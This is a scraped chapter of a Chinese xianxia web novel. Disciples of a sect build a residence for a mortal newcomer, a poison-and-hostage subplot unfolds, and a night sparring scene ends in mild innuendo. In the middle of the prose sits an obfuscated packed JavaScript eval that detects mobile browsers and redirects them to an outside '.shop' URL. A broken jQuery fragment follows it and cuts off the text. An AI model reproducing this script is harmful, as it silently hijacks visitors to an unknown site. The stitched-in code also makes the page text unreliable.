文趣网 > 其他小说 > 卡bug后系统崩溃了 > 15. 脸怎么红了
    谢瑶真此话一出,在场人都愣住了。

    她平日虽也骄纵,却不是无缘无故为难人的性子。

    公冶迟微微皱眉,刚要说什么,就听谢瑶真语速飞快对谢清微道:

    “你凡人出身,没个仙门家族依傍,也没个修士亲友扶持,想修仙?怕不是低估了其中艰难!你这洞府也太简陋了,不如随我住缥缈峰去。缥缈峰后山还有一处空置的风水宝地,修缮修缮,也能建个新的雅居小筑出来。我和二师姐、小师弟都住缥缈峰,你快封了这个洞,到我缥缈峰来!免得人家说我太虚宗不会做人,对首席弟子的救命恩人都这样薄待。”

    谢瑶真脑中刚听得系统“剧情点完成”的播报结束,就连珠炮一般将后面的话尽数吐出,免得说慢了引起女主误会。

    果然,谢清微惊得嘴唇微张,那双小鹿般的眼睛眨了眨,期期艾艾道:“怎、怎好劳烦谢师姐!我是容真人的弟子,还是在朦胧峰好了……而且,这洞府很好……”

    谢瑶真笑了笑:“你说容真人啊,她最慷慨了,一向好说话。只要我向她开口,她定会说‘瑶真想办那就这样办好了’,难道还会阻你不曾?你依旧是她的徒弟,我又没想将你从她那儿抢走。再说了——”

    谢瑶真朝公冶迟望了一眼,又转头对谢清微道:“你是我大师兄带回来的人,怎么安排,也要问大师兄的意思。”

    公冶迟上前,对谢清微笑道:“我小师妹说话可能有些不拘礼,你别介意。她是好心,缥缈峰后山环境确实比这里好些,你大可听小师妹的。”

    公冶迟一走近,谢清微便垂下眼帘,诺诺应“好”,局促地牵着自己的衣带。

    她在凡间穿得朴素,上了朦胧峰又无多余灵石置办衣物,容与便送了她两套弟子服。牙白色,虽没什么花纹和多余装饰,却是谢清微人生中第一次穿上这么好的料子。

    “小师妹,小师妹。”闻人茵神神秘秘地招呼谢瑶真走到一旁角落。

    “什么?”谢瑶真不明所以。

    闻人茵压低了声音:“你怎么一来就坏我生意?后山那块儿地确实好,可多少年都没人住了。你说得轻巧,重建要花的灵石谁掏?师尊会批你的款?”

    谢瑶真亦压低了声音:

    “二师姐,你这可就短视啦!谢清微是咱大师兄的恩人,她的花销,咱师兄能不管吗?眼下她没钱,你就算赚她一点符箓、阵法的灵石,那也只是一星半点儿。可要是搬去缥缈峰就不一样了,建小筑、设更大的阵法,这不需要更多的灵石?只要你把这活儿揽下来,要赚多少赚多少,还不是大师兄出?”

    看着闻人茵眼神越来越亮,谢瑶真拍了拍她的肩膀:“二师姐,仔细想想,我说的有没有道理?”

    闻人茵欢喜得捧住谢瑶真的脸,在她额头上重重亲了一口,手舞足蹈:“有道理,有道理。小师妹,你可真是我的好师妹!”

    谢瑶真笑她:“这你就糊涂啦!眼下我才不是最小的了。师门内有小师弟比我更小;师门外又有这位清微师妹比我更小,你不能叫我小师妹啦!”

    闻人茵大笑:“就许大师兄叫你小师妹,不许我叫?我不管,叫久了改不过来了。小师妹小师妹小师妹!”

    公冶迟远远地瞧见她们笑闹做一团,不禁哑然失笑:“你们这又是在想什么坏点子呢?”

    “哪有坏点子。”谢瑶真冲公冶迟道,“我和二师姐商量着帮清微师妹建小筑呢。这段时日,就让师妹随我住好了。”

    闻人茵忙道:“大师兄,建小筑的事交给我办!”

    公冶迟点了点头:“只是要动那块地,需要请示师尊。我先去申请批文。”

    “好!”谢瑶真拍手道,“那就这样说好了。”她拉过谢清微的手,亲亲热热上了蕉叶:“清微师妹,这段时间你就和我住,我那里的暖阁收拾出来,很不错。等你的小筑建好了,再搬过去。”

    谢清微连忙道谢:“劳烦谢师姐了。”她只是凡人,刚入仙门,对这些法器全无了解。因此踏上芭蕉叶子似的“蕉叶”,颤颤巍巍,胆战心惊。

    谢瑶真笑了笑,将蕉叶变成一艘画舫,招呼其余三人都坐上来,径直驶到缥缈峰去。

    ……

    谢容远听公冶迟要申请缥缈峰后山半山腰那处的地为谢清微修小筑后,并不太在意。

    “可以啊。”他埋头批阅公冶迟的申请文书,“我记得那里有一处溪水,是山中灵脉所化的灵泉形成,月圆之夜取之饮用可澄心明目,有益修炼。希望这个凡人小弟子能潜心修行。虽是因对你有恩才进了太虚宗,可我们宗门也希望弟子都有所成。”

    公冶迟恭谨道:“弟子谨记,定将师尊一番苦心好好传达与她。”他忽然想起什么,道:“师尊,弟子见那灵溪上有一处空置已久的小竹楼,不知是哪位前辈所建?弟子们在那小竹楼基础上扩建新居,不知是否有碍?”

    “小竹楼么?”谢容远正欲盖章的手一顿,抬起眼来,似有所思,“缥缈峰后山如今除了你们小师叔,并未住人。就连他也是住在峰顶处,那小竹楼应是更久之前的了。”

    谢容远陷入回忆:“我做弟子时,倒也是住在缥缈峰后山的,离你们小师叔很近。那灵溪附近也去过几回。印象中却不记得什么小竹楼……”

    “算了。”谢容远摆摆手道,“想是不重要的东西。你们要怎么建,随意就好。”

    他盖了章,又签了一张小字条,和一枚灵符一并交给公冶迟:“修小筑花费不小。需要灵石,你自去我私库取用。”

    公冶迟慌道:“师尊,万万不可!弟子逾矩带凡人回宗门,师尊不予责罚,已是格外开恩。如今怎还能动用师尊的私库?”

    谢容远笑道:“你是为了瑶儿才受的伤。我若连这点好处都不给你,岂不是九州四海第一吝啬的师尊?再说了,你是我的大弟子,我最看好的后辈,我怎会对你苛待?收下吧,别辞了。”

    公冶迟见推辞不过,便感恩戴德道:“多谢师尊!”

    ……

    闻人茵很快就在那灵溪边修起了一间小筑,起名“枕流”。精舍有两三间,从原先小竹楼的基础上扩建而来。从岸边至水面搭了木制平台,悬于水面的部分用小石柱撑起,可凭栏观水,直通听水轩。

    轩中临窗设榻。房中矮几蒲团、长条书案、笔墨纸砚一应俱全;内室的陈设器物,件件精细。而保护枕流小筑的阵法,也由闻人茵制作。

    闻人茵很是得意:“太虚宗符箓、阵法课的成绩,没有比我更好的了!清微师妹,你就放心吧。”

    谢清微感激不尽,从水云居的暖阁中搬去了枕流小筑;而闻人茵也如愿从公冶迟那里赚到了一.大笔灵石。

    谢瑶真挽着闻人茵手臂,笑嘻嘻道:“二师姐,若没有师妹我,怕是难做吧?”

    闻人茵冰雪聪明,立马揽过谢瑶真的肩膀,道:“好师妹,多亏了你,师姐才有这么大的进项。这样,你说个数?”

    谢瑶真伸出三根指头在闻人茵眼前晃了晃:“不多不多,我只要三成就好了。”

    闻人茵也爽快,向她击掌:“好说好说!师妹下次若还有生意,别忘了带上师姐。”

    谢瑶真抿嘴微笑:“当然,你可是我亲师姐。”

    ……

    接下来一段日子,谢瑶真过得很是舒心。或许是并未破坏关键剧情点,系统也许久没有出现给她找茬了。因此那本关于合.欢功法的《秘要》也被她压在床褥底下,久不见光。

    她一如往常地练剑、修炼,却莫名发现真气流转比以往更加顺畅,耳聪目明、身轻神盈更胜往日。

    她不知道自己是在剑冢中无意间学会了《伐髓经》,灵脉筋骨在一遍遍的日常修炼中逐渐洗去杂质,慢慢走向脱胎换骨。

    而因运转《伐髓经》能解百毒,她体内的丹毒也并未按时发作。

    龙伯遮为了让她听话,每月给她的丹药除了能提升她的修为,让太虚宗的人察觉不出可疑,还有一定毒素,让她每到时间就肌骨、心脉疼痛不堪,非去金缕楼拿解药不可。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628205|205467||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    如今丹毒虽未发作,但龙伯遮同时还扣了她的结拜姐妹狗儿姐在金缕楼做人质,以此要挟谢瑶真为他办事。

    过了今夜子时,就是规定的去金缕楼的日子了。

    谢瑶真躺在床上,心中记挂狗儿姐和龙伯遮要她向谢容远学青阳剑诀的事,翻来覆去睡不着,便起来去竹林中练剑。

    夜雾昏昏,月色溶溶。剑气飒飒斩落一地竹叶,绿影婆娑间闪出一道峭拔的身影。

    “谁?!”

    谢瑶真警惕地一喝,揽月剑脱手,斩向那影子去。却闻兵器交接一阵响,寒光闪烁,秋玄度黑剑出鞘,卸了揽月的杀气,那白虹般的剑身在空中打了几道旋儿,又回到谢瑶真手中。

    “原来是小师弟。”谢瑶真看清来人,笑了笑,“这么晚了,也来竹林练剑?”

    “是。”秋玄度执剑,向谢瑶真恭敬行了一礼,道,“惊扰了三师姐,玄度惶恐。”

    谢瑶真执了揽月,扬唇笑道:“无妨。既然来了,陪我练练?”

    秋玄度恭声答:“是。”

    谢瑶真轻笑一声,将揽月抛至空中,手掐剑诀。顿时白光纷纷,剑影缭乱。

    这是揽月剑三十六式中的拨星式。

    谢瑶真的剑法以轻快灵动闻名,若快至一定境界,便如鬼魅般不可琢磨。拨星式以天幕为棋盘,星辰为棋子,剑走盘中,以一剑分万光、走万子,轻忽缥缈,疾走急刺,不可轻易招架提防。

    秋玄度一见,连忙撑开护身结界,御剑相抵。

    他动作虽快,但架不住谢瑶真剑意肃杀。谁也想不到这看似轻巧美丽的招式有如此刚猛的劲道。因此他的结界很快就被四面八方的剑意冲开。

    霎时鲜血四溅。

    秋玄度喷出一口血,握着剑,踉踉跄跄。

    谢瑶真惊呼一声,连忙撤回揽月,飞奔上去接住他软沉下滑的身子。

    “小师弟,你有没有事?”

    她懊恼不已。自己怎么忘了,小师弟剑法再厉害也只是炼气期。她怎么可以全力攻他?

    谢瑶真急忙召出蕉叶,将已经失了力气的秋玄度半搂半抱地拖了上去,往水云居飞去。一面飞,一面侧头对他道:“小师弟,对不起。我这就带你去点玉池疗伤。你放心,这样的外伤,你泡不到一个时辰就能愈合。”

    其实秋玄度并非伤重到无力御剑的地步。但被她带上了蕉叶,他也不好推辞。偏偏她不知是一时情急还是怎么,未将蕉叶变大,窄窄的一片叶子站不下两个人,秋玄度只能紧紧贴着她。

    目下又被她扶着,她的发贴着他的脖颈,竟像要缠绕上去似的。被揽月剑气划出的细密的、繁多的伤口不断渗血,染红了她雪白的衣裙。

    她侧过头同他说话,而他又低着头,她温热的嘴唇就无意间擦过他的下巴。他浑身一震,却在空中小小一片蕉叶上退无可退,霎时红了耳尖,结结巴巴道:“师、师姐……我没事,我可以御剑。”

    谢瑶真轻轻斥他:“别乱动。你想栽下去吗?伤这么重,安分一点。很快就到了。”

    秋玄度规规矩矩噤声,鼻尖却闻见从谢瑶真颈发间传来的幽莲香。

    她为了防止他掉下去,一手紧紧揽着他的腰,几乎要将他往自己怀里带。秋玄度感受到她的柔软,不禁绷紧了身子,满脸通红,拼命仰着头,好离这令人神思不属的温香软玉远一些。

    这念头刚起,他神魂中仿佛有猛钟一撞——

    她现在是他三师姐,他,他这在想什么呢?!

    偏偏谢瑶真这时候一双乌亮的眼眸望着他,满脸担心:“小师弟,你额头上怎么出了好些汗?脸这么红,是发烧了吗?”

    “没有,没有……”

    他偷偷想移开一点,却又被谢瑶真箍近了些。她的手贴着他的腰,竟那样滚烫。

    谢瑶真皱起一双好看的眉毛,斥责道:“别乱动了,小师弟。你剑都硌着我了。”

    秋玄度在那刹那间浑身僵硬,几欲去死。

    不是剑。